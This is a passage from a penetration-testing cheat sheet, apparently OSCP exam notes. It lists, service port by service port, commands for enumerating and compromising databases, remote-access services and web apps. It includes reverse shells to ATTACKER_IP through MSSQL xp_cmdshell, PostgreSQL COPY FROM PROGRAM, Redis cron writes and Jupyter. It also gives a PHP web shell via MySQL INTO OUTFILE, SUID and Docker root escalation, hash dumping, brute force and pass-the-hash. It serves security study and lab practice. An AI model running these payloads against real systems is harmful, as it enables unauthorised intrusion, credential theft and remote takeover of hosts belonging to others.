# Domain / AD cred — ALWAYS -windows-auth
impacket-mssqlclient domain/user:password@10.10.10.10 -windows-auth
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@10.10.176.148 -windows-auth
impacket-mssqlclient user@10.10.10.10 -hashes ':NTHASH' -windows-auth
 
# CrackMapExec
crackmapexec mssql 10.10.10.10 -u sa -p password --local-auth
crackmapexec mssql 10.10.10.10 -d corp.local -u svc_sql -p 'CrackedPassword'
 
# Connect with sqsh
sqsh -S 10.10.10.10 -U sa -P password
 
# Connect with mssql-cli (install via pip)
mssql-cli -S 10.10.10.10 -U sa -P password
 
# SQL commands (once connected)
SELECT name FROM sys.databases;      -- List databases
USE dbname;                          -- Switch database
SELECT table_name FROM information_schema.tables;  -- List tables
SELECT * FROM users;                 -- Dump table
SELECT IS_SRVROLEMEMBER('sysadmin'); -- Check if sysadmin
 
# xp_cmdshell — OS command execution (if enabled or you can enable it)
EXEC xp_cmdshell 'whoami';
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'powershell -c "iex(iwr http://ATTACKER_IP/shell.ps1)"';
 
# CrackMapExec
crackmapexec mssql 10.10.10.10 -u sa -p password
crackmapexec mssql 10.10.10.10 -u sa -p password --local-auth
 
# Brute force
hydra -L users.txt -P passwords.txt 10.10.10.10 mssql
medusa -h 10.10.10.10 -U users.txt -P passwords.txt -M mssql

What to look for: sa account with blank/weak password; xp_cmdshell → RCE; linked servers → pivot to other SQL servers; NTLM hash capture via xp_dirtree.

See: Database, MSSQL, Impacket, CrackMapExec - nxc, Responder

Port 1521 — Oracle DB

Service: Oracle Database listener

# Nmap
nmap -p 1521 -sV --script oracle-tns-version,oracle-sid-brute 10.10.10.10
 
# ODAT (Oracle Database Attacking Tool)
odat all -s 10.10.10.10 -p 1521
odat sidguesser -s 10.10.10.10 -p 1521
 
# Once SID is known (e.g. ORCL)
sqlplus user/password@10.10.10.10:1521/ORCL
 
# Metasploit
use auxiliary/scanner/oracle/oracle_login
use auxiliary/scanner/oracle/sid_brute

What to look for: SID enumeration first; default creds (SCOTT/TIGER, SYS/CHANGE_ON_INSTALL); DBMS_SCHEDULER for OS command execution.

See: Database, Oracle, MetaSploit

Port 2049 — NFS

Service: Network File System — Linux file sharing

# Enumerate exports
showmount -e 10.10.10.10
nmap -p 2049 --script nfs-ls,nfs-showmount,nfs-statfs 10.10.10.10
rpcinfo -p 10.10.10.10
 
# Mount a share
sudo mkdir /mnt/nfs
sudo mount -t nfs 10.10.10.10:/exported/share /mnt/nfs
sudo mount -t nfs -o nolock 10.10.10.10:/exported/share /mnt/nfs   # If portmapper issues
 
# Browse files
ls -la /mnt/nfs
 
# Look for no_root_squash in /etc/exports
# If set → mount as root + create SUID bash → privesc
sudo cp /bin/bash /mnt/nfs/bash
sudo chmod +s /mnt/nfs/bash
# On target: /mnt/nfs/bash -p → root
 
# Unmount
sudo umount /mnt/nfs

What to look for: no_root_squash in exports = SUID privesc; world-readable /etc/exports; sensitive files (SSH keys, configs, .ssh/authorized_keys → add your key).

See: Linux

Port 2121 — FTP (Alternate)

Same as port 21 but on a non-standard port. Use all FTP techniques.

ftp -p 10.10.10.10 2121
curl ftp://10.10.10.10:2121/ -u anonymous:
nmap -p 2121 -sV --script ftp-anon 10.10.10.10

Port 3000 — Web Alt / Grafana / Node.js

Service: Common web app port — Grafana, Node.js, Rails, Express

curl -v http://10.10.10.10:3000
gobuster dir -u http://10.10.10.10:3000 -w /usr/share/wordlists/dirb/common.txt
nikto -h http://10.10.10.10:3000
 
# Grafana (if Grafana is running)
# Default creds: admin:admin
curl http://10.10.10.10:3000/api/health
# Grafana CVE-2021-43798 — path traversal to read files
curl "http://10.10.10.10:3000/public/plugins/alertlist/../../../../../../../etc/passwd"

See: HTTP

Port 3128 — Squid Proxy

Service: Squid HTTP proxy server

# Test if it's an open proxy
curl -x http://10.10.10.10:3128 http://example.com
curl --proxy http://10.10.10.10:3128 http://10.10.10.10/internal-page
 
# Use to reach internal resources
curl -x http://10.10.10.10:3128 http://127.0.0.1/admin
 
# Configure proxychains
# /etc/proxychains4.conf → http 10.10.10.10 3128
proxychains curl http://192.168.1.5
 
# Nmap
nmap -p 3128 -sV 10.10.10.10

What to look for: open proxy = access internal network; use to enumerate internal web apps; sometimes allows access to loopback services (127.0.0.1) on the target.

Port 3306 — MySQL

Service: MySQL / MariaDB database

# Connect
mysql -h 10.10.10.10 -u root -p
mysql -h 10.10.10.10 -u root           # Try blank password
mysql -h 10.10.10.10 -u root -p''     # Explicitly blank
 
# Nmap
nmap -p 3306 -sV --script mysql-empty-password,mysql-info,mysql-databases 10.10.10.10
 
# MySQL commands once connected
SHOW DATABASES;
USE database_name;
SHOW TABLES;
SELECT * FROM users;
SELECT user,password FROM mysql.user;    -- Dump MySQL users/hashes
SELECT @@version;
SELECT @@datadir;
 
# File read (if FILE privilege)
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
 
# File write (write web shell if FILE privilege + webroot known)
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
 
# Brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt 10.10.10.10 mysql
 
# impacket (if using MySQL hash)
hashcat -m 300 mysql_hash.txt /usr/share/wordlists/rockyou.txt  # MySQL323
hashcat -m 3200 mysql_hash.txt /usr/share/wordlists/rockyou.txt # bcrypt

What to look for: root with blank password (common!); LOAD_FILE to read system files; INTO OUTFILE to write web shell; credential tables in web app databases.

See: Database, MySQL, SQL Injection, Union Based SQLi, Hydra, Hashcat

Port 3389 — RDP

Service: Remote Desktop Protocol — Windows GUI remote access

# Legacy RDP client (simple)
rdesktop 192.168.234.165
rdesktop -u admin -p password 192.168.234.165
 
# Connect (ignore cert) — preferred on modern Kali
xfreerdp3 /u:admin /p:password /v:10.10.10.10 /cert:ignore
xfreerdp3 /u:domain\\admin /p:password /v:10.10.10.10 /cert:ignore
xfreerdp3 /u:admin /p:password /v:10.10.10.10 /tls-seclevel:0 /cert:ignore
 
# Pass-the-Hash via RDP (restricted admin mode must be enabled)
xfreerdp3 /u:admin /pth:NTHASH /v:10.10.10.10 /cert:ignore
 
# Remmina (GUI tool on Kali)
remmina    # Then create new RDP connection
 
# Verify port is open
nc -nv 10.10.10.10 3389
 
# Nmap
nmap -p 3389 -sV --script rdp-enum-encryption,rdp-vuln-ms12-020 10.10.10.10
 
# BlueKeep check (CVE-2019-0708)
nmap -p 3389 --script rdp-vuln-ms12-020 10.10.10.10
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep    # Metasploit
 
# Brute force
hydra -L users.txt -P passwords.txt 10.10.10.10 rdp -t 4
crowbar -b rdp -s 10.10.10.10/32 -U users.txt -C passwords.txt
 
# Screenshot without logging in (useful for recon)
ncrack -vv --user '' -P passwords.txt rdp://10.10.10.10

What to look for: default/weak creds; BlueKeep (unpatched Windows 7/Server 2008); Pass-the-Hash if NTHash known; screenshot for recon; pivot via RDP tunneling.

See: xfreerdp, rdesktop, Windows PrivEsc, Mimikatz, Port Forwarding

Port 3632 — distcc

Service: distcc — distributed C compiler daemon

# Nmap
nmap -p 3632 --script distcc-cve2004-2687 10.10.10.10
 
# Metasploit (direct RCE — no auth)
use exploit/unix/misc/distcc_exec
set RHOSTS 10.10.10.10
set PAYLOAD cmd/unix/reverse_bash
set LHOST ATTACKER_IP
run
 
# Manual via distcc protocol
# Any command can be run as the daemon user (usually daemon or nobody)

What to look for: CVE-2004-2687 — unauthenticated RCE as daemon/nobody → privesc from there.

Port 4369 — Erlang EPMD

Service: Erlang Port Mapper Daemon — used by RabbitMQ, CouchDB, etc.

# Enumerate Erlang nodes
nmap -p 4369 -sV 10.10.10.10
epmd -names
 
# If you get the Erlang cookie (usually in /var/lib/rabbitmq/.erlang.cookie)
# You can get RCE via Erlang distribution protocol
erl -name attacker@ATTACKER_IP -setcookie COOKIE_VALUE
# Then eval arbitrary code on the remote node

Port 5222 / 5223 — XMPP / Jabber

Service: XMPP (Extensible Messaging and Presence Protocol) — Jabber instant messaging; common backends include Openfire, Prosody, ejabberd Protocol: TCP 5222 (STARTTLS) · 5223 (direct TLS) · 5269 (server-to-server, rarely needed on OSCP)

# Nmap — identify XMPP
nmap -p 5222,5223 -sV 10.10.10.10
nmap -p 5222 --script xmpp-info 10.10.10.10
 
# Connect with GUI client (primary OSCP approach)
sudo apt install pidgin -y
# Accounts → Add → XMPP → register user@domain.htb on port 5222
 
# User enumeration in Pidgin
# Accounts → account → Search for Users → wildcard *
 
# Parse exported XMPP Console output → user list
grep domain.htb xmpp.txt | awk -F\> '{print $2}' | awk -F@ '{print $1}' | sort -u > users.txt
 
# AS-REP roast enumerated users
impacket-GetNPUsers domain.htb/ -dc-ip 10.10.10.10 -no-pass -usersfile users.txt -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
 
# Kerberos user validation
kerbrute userenum --dc 10.10.10.10 -d domain.htb users.txt
 
# Brute force (secondary — prefer enum + roast)
hydra -L users.txt -P passwords.txt 10.10.10.10 xmpp -s 5222 -t 4 -f
 
# With valid creds — join chat rooms (Buddies → Join Chat / Room List)
# Conference server often: conference.domain.htb

What to look for:

  • Open registration → create account, then Search for Users (*) for domain username list
  • Chat rooms (MUC) — private rooms visible only with valid creds; pentest notes, cleartext passwords
  • Openfire backend → admin panel often on 9090/9091 (localhost on target after shell)
  • User list → AS-REP roast, Kerbrute, password spray
  • Leaked creds in rooms → SMB/WinRM/Impacket lateral movement

See: Pidgin, Pipelines & Chaining, Kerbrute, Kerberoast, Hydra, Impacket, Remote Execution

Port 5432 — PostgreSQL

Service: PostgreSQL database

# Connect
psql -h 10.10.10.10 -U postgres
psql -h 10.10.10.10 -U postgres -d postgres
 
# Nmap
nmap -p 5432 -sV --script pgsql-brute 10.10.10.10
 
# PostgreSQL commands once connected
\l                          -- List databases
\c database_name            -- Connect to database
\dt                         -- List tables
SELECT * FROM users;
SELECT usename, passwd FROM pg_shadow;  -- Dump user hashes
 
# RCE via COPY TO/FROM
COPY cmd_exec FROM PROGRAM 'id';
CREATE TABLE cmd_output(lines text);
COPY cmd_output FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
 
# Brute force
hydra -l postgres -P /usr/share/wordlists/rockyou.txt 10.10.10.10 postgres

What to look for: postgres user with blank/weak password; COPY FROM PROGRAM → RCE (PostgreSQL 9.3+); read files with pg_read_file().

See: Database, PostgreSQL, SQL Injection, Hydra

Port 5555 — Android Debug Bridge (ADB)

Service: ADB — Android device remote debug/management

# Connect
adb connect 10.10.10.10:5555
adb devices                        # List devices
adb shell                          # Get shell
adb shell whoami
adb pull /sdcard/file.txt          # Download
adb push shell.apk /sdcard/        # Upload
adb install app.apk                # Install app
 
# Often root shell directly
adb shell su

Port 5601 — Kibana

Service: Kibana — Elasticsearch data visualization dashboard

curl http://10.10.10.10:5601
# Browse: http://10.10.10.10:5601
 
# Check version (vulnerabilities in older versions)
curl http://10.10.10.10:5601/api/status
 
# Kibana CVE-2019-7609 — Timelion RCE (< 6.6.1 and < 6.7.2)
# Canvas script injection for RCE in some versions
 
# Nmap
nmap -p 5601 -sV 10.10.10.10

Port 5900-5901 — VNC

Service: Virtual Network Computing — remote desktop (cross-platform)

# Connect
vncviewer 10.10.10.10
vncviewer 10.10.10.10:5900
vncviewer 10.10.10.10::5900      # Double colon notation
 
# Nmap
nmap -p 5900-5901 -sV --script vnc-info,vnc-brute 10.10.10.10
 
# Brute force
hydra -P /usr/share/wordlists/rockyou.txt 10.10.10.10 vnc -t 4
medusa -h 10.10.10.10 -P passwords.txt -M vnc
 
# Check for no-auth
nmap -p 5900 --script vnc-info 10.10.10.10   # "None" security type = no auth
 
# Registry keys on Windows (stored VNC passwords — weak encryption)
reg query HKCU\Software\RealVNC\WinVNC4 /v password
reg query HKLM\SOFTWARE\TigerVNC\WinVNC4 /v password
# Decrypt with vncpwd or msfconsole: irb → require 'rex'; Rex::Proto::RFB::Cipher.decrypt ["PASSWORD_HEX"].pack("H*"), "DES_KEY"

What to look for: no authentication (security type None); weak/default password; credentials stored in registry; screenshot access.

Port 5985 / 5986 — WinRM

Service: Windows Remote Management — PowerShell remoting over HTTP (5985) / HTTPS (5986)

# Test connectivity
nmap -p 5985,5986 -sV 10.10.10.10
curl http://10.10.10.10:5985/wsman
 
# Connect with evil-winrm (best tool)
evil-winrm -i 10.10.10.10 -u admin -p password
evil-winrm -i 10.10.10.10 -u admin -H NT_HASH           # Pass-the-hash
evil-winrm -i 10.10.10.10 -u admin -p password -S       # HTTPS (5986)
 
# evil-winrm features
evil-winrm -i 10.10.10.10 -u admin -p password
*Evil-WinRM* PS> upload /local/file.exe C:\Temp\file.exe
*Evil-WinRM* PS> download C:\Temp\loot.txt /local/loot.txt
*Evil-WinRM* PS> Bypass-4MSI                             # Bypass AMSI
*Evil-WinRM* PS> menu                                    # Show features
 
# CrackMapExec
crackmapexec winrm 10.10.10.10 -u admin -p password
crackmapexec winrm 10.10.10.10 -u admin -H NT_HASH
crackmapexec winrm 10.10.10.0/24 -u admin -p password    # Sweep
 
# Brute force
crackmapexec winrm 10.10.10.10 -u users.txt -p passwords.txt

What to look for: valid Windows creds or NT hash → immediate shell; much more stable than SMB-based shells; common post-exploitation entry point in AD labs.

See: evil-winrm, CrackMapExec - nxc, Responder, Impacket, Windows PrivEsc, LatMovement

Port 6379 — Redis

Service: Redis — in-memory key-value database (often no auth)

# Connect
redis-cli -h 10.10.10.10
redis-cli -h 10.10.10.10 -p 6379
redis-cli -h 10.10.10.10 -a password   # With auth
 
# Redis commands
redis-cli -h 10.10.10.10 ping          # Check if alive (returns PONG)
redis-cli -h 10.10.10.10 info          # Server info (version, OS)
redis-cli -h 10.10.10.10 config get *  # All config values
redis-cli -h 10.10.10.10 keys *        # List all keys
redis-cli -h 10.10.10.10 get keyname   # Get value
 
# RCE via SSH key write (if writable home dir)
# 1. Generate key
ssh-keygen -t rsa -f /tmp/redis_key -N ""
# 2. Write to Redis
redis-cli -h 10.10.10.10 config set dir /home/redis/.ssh
redis-cli -h 10.10.10.10 config set dbfilename authorized_keys
cat /tmp/redis_key.pub | redis-cli -h 10.10.10.10 -x set pubkey
redis-cli -h 10.10.10.10 bgsave
# 3. SSH in
ssh -i /tmp/redis_key redis@10.10.10.10
 
# RCE via cron (if writable /var/spool/cron)
redis-cli -h 10.10.10.10 config set dir /var/spool/cron/crontabs
redis-cli -h 10.10.10.10 config set dbfilename root
redis-cli -h 10.10.10.10 set evil "\n\n*/1 * * * * bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n"
redis-cli -h 10.10.10.10 bgsave
 
# Nmap
nmap -p 6379 -sV --script redis-info 10.10.10.10

What to look for: no authentication (very common); RCE via SSH key injection or cron write; data exfiltration of app data.

See: Database, Redis, SSH

Port 8000-8001 / 8080-8081 — HTTP Alt

Service: Alternate HTTP ports — dev servers, proxies, admin panels

# Same as port 80 techniques
curl http://10.10.10.10:8080
gobuster dir -u http://10.10.10.10:8080 -w /usr/share/wordlists/dirb/common.txt
nikto -h http://10.10.10.10:8080
 
# Common things on these ports
# - Tomcat Manager (/manager/html) — default: tomcat:tomcat or tomcat:s3cret
# - Jenkins (usually 8080) — /script console → Groovy RCE
# - Jira, Confluence, etc.
# - Dev applications with debug features enabled
 
# Tomcat Manager → WAR upload = RCE
# Jenkins → http://10.10.10.10:8080/script → println "id".execute().text

See: HTTP, Gobuster, Nikto, Tomcat

Port 8443 — HTTPS Alt

Service: Alternate HTTPS port — admin panels (Nginx, Tomcat), VPNs

curl -k https://10.10.10.10:8443
gobuster dir -u https://10.10.10.10:8443 -w /usr/share/wordlists/dirb/common.txt -k
nmap -p 8443 --script ssl-cert,http-enum 10.10.10.10

Port 8888 — Jupyter Notebook

Service: Jupyter Notebook — interactive Python (often no auth in old installs)

# Browse
curl http://10.10.10.10:8888
# Check for token requirement or no auth
 
# If no auth → New Notebook → code cell → RCE
import subprocess
subprocess.check_output(['id'])
subprocess.check_output(['bash','-c','bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'])
 
# Nmap
nmap -p 8888 -sV 10.10.10.10

Port 9000 — PHP-FPM / SonarQube

Service: PHP FastCGI Process Manager (internal), SonarQube code analysis

# PHP-FPM (usually not directly exposed, but if it is)
# CVE-2019-11043 — RCE if Nginx + PHP-FPM misconfigured
# https://github.com/neex/phuip-fpizdam
 
# SonarQube
curl http://10.10.10.10:9000
# Default creds: admin:admin

Port 9200 / 9300 — Elasticsearch

Service: Elasticsearch — search engine / database (often no auth)

# No auth required by default (older versions)
curl http://10.10.10.10:9200
curl http://10.10.10.10:9200/_cat/indices?v    # List all indices
curl http://10.10.10.10:9200/_cat/nodes?v      # Cluster nodes
curl http://10.10.10.10:9200/indexname/_search?q=*:*  # Dump all data
curl http://10.10.10.10:9200/_all/_search?q=password  # Search for passwords
 
# Nmap
nmap -p 9200 -sV 10.10.10.10
 
# Metasploit
use auxiliary/gather/elasticsearch_enum

What to look for: unauthenticated access → dump all data; credentials in indexed data; PII or API keys stored in documents.

Port 10000 — Webmin

Service: Webmin — Linux system administration web panel

# Browse (HTTPS usually)
curl -k https://10.10.10.10:10000
# or HTTP
curl http://10.10.10.10:10000
 
# Default path: /
# Default creds: root + root's system password
 
# Nmap
nmap -p 10000 -sV 10.10.10.10
 
# Webmin RCE CVE-2019-15107 (unauthenticated)
use exploit/linux/http/webmin_backdoor     # Metasploit
# Also CVE-2019-12840 (authenticated RCE)
use exploit/unix/webapp/webmin_show_cgi_exec

What to look for: CVE-2019-15107 (backdoor = unauthenticated RCE); root system creds = root shell; exposed on internet = high value target.

Port 11211 — Memcached

Service: Memcached — distributed memory caching (no auth by default)

# Connect
nc -nv 10.10.10.10 11211
telnet 10.10.10.10 11211
 
# Memcached commands
stats                    # Server stats + version
stats slabs              # Memory slab info
stats items              # Items stored
stats cachedump 1 100    # Dump items from slab 1
get keyname              # Get a specific key
 
# Automated dump
memcached-tool 10.10.10.10:11211 dump
 
# Nmap
nmap -p 11211 -sV --script memcached-info 10.10.10.10

What to look for: session tokens, credentials, API keys cached in memory; app data; sometimes user objects with passwords.

Port 27017 — MongoDB

Service: MongoDB — NoSQL document database (no auth by default in old versions)

# Connect
mongosh 10.10.10.10
mongosh mongodb://10.10.10.10:27017
 
# With auth
mongosh mongodb://user:password@10.10.10.10:27017
 
# MongoDB shell commands
show dbs                              # List databases
use dbname                            # Switch to database
show collections                      # List collections
db.collectionname.find()              # Dump all documents
db.users.find()                       # Dump users collection
db.users.find({"username": "admin"})  # Find admin
 
# Nmap
nmap -p 27017 -sV --script mongodb-info,mongodb-databases 10.10.10.10
 
# Metasploit
use auxiliary/gather/mongodb_enum

What to look for: no authentication (very common in older installs); dump user credentials from app database; admin collections.

See: Database, MongoDB, MetaSploit

Port Ranges — Common OSCP Patterns

High Ports — Application Specific

Port 8080  → Tomcat, Jenkins, Jira, proxy
Port 8443  → Secure Tomcat, admin panels
Port 8000  → Dev web server, Python SimpleHTTP
Port 9090  → Prometheus, web admin
Port 9200  → Elasticsearch
Port 10000 → Webmin
Port 3000  → Grafana, Node.js, Rails
Port 5000  → Flask, Python dev server
Port 4848  → GlassFish admin
Port 4567  → Sinatra (Ruby)
Port 7001  → WebLogic (Java EE)
Port 7443  → WebLogic (HTTPS)
Port 8161  → ActiveMQ web console
Port 61616 → ActiveMQ broker
Port 15672 → RabbitMQ management
Port 50070 → Hadoop NameNode
Port 2375  → Docker (unauthenticated!) 
Port 2376  → Docker (TLS)
Port 6443  → Kubernetes API server

Docker — Port 2375 (Unauthenticated!)

# If Docker API is exposed without auth — full host takeover
curl http://10.10.10.10:2375/version
docker -H tcp://10.10.10.10:2375 ps
docker -H tcp://10.10.10.10:2375 run -v /:/mnt --rm -it alpine chroot /mnt sh
# → root shell on the host

WebLogic — Port 7001

curl http://10.10.10.10:7001/console
# Default creds: weblogic:weblogic1, system:password
# CVE-2017-10271, CVE-2019-2725, CVE-2020-14882 — unauthenticated RCE
nmap -p 7001 -sV 10.10.10.10
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice

Port 49152–65535 — Dynamic / High RPC Ports

Service: Windows RPC services — assigned dynamically at boot. Any service registered with the RPC Endpoint Mapper (port 135) gets a random high port.

How to find what’s running on a high port:

# Step 1 — query the endpoint mapper to map ports → services
impacket-rpcdump 10.10.10.10 | grep "49[0-9]\{3\}"
# Look for: ncacn_ip_tcp:10.10.10.10[49664] with an annotation (service name)
 
# Step 2 — identify the specific port with Nmap
nmap -p 49664 -sV --script default 10.10.10.10
 
# Step 3 — interact directly
rpcclient -U "user%password" -p 49664 10.10.10.10
netexec rpc 10.10.10.10 -u user -p password --port 49664
rpcdump.py user:password@10.10.10.10 -p 49664
 
# Step 4 — banner grab
nc -nv 10.10.10.10 49664

Common high-port RPC services:

ServiceNotes
samrSAM remote protocol — users/groups/password policy
lsarpcLSA — authentication, SID lookups, trusts
svcctlService control manager — start/stop/create services
winregRemote registry read/write
atsvcTask Scheduler — run commands
drsuapiDirectory Replication — DCSync path
epmapperEndpoint mapper itself

See: RPC, rpcclient, Impacket, CrackMapExec - nxc

Graph View

Backlinks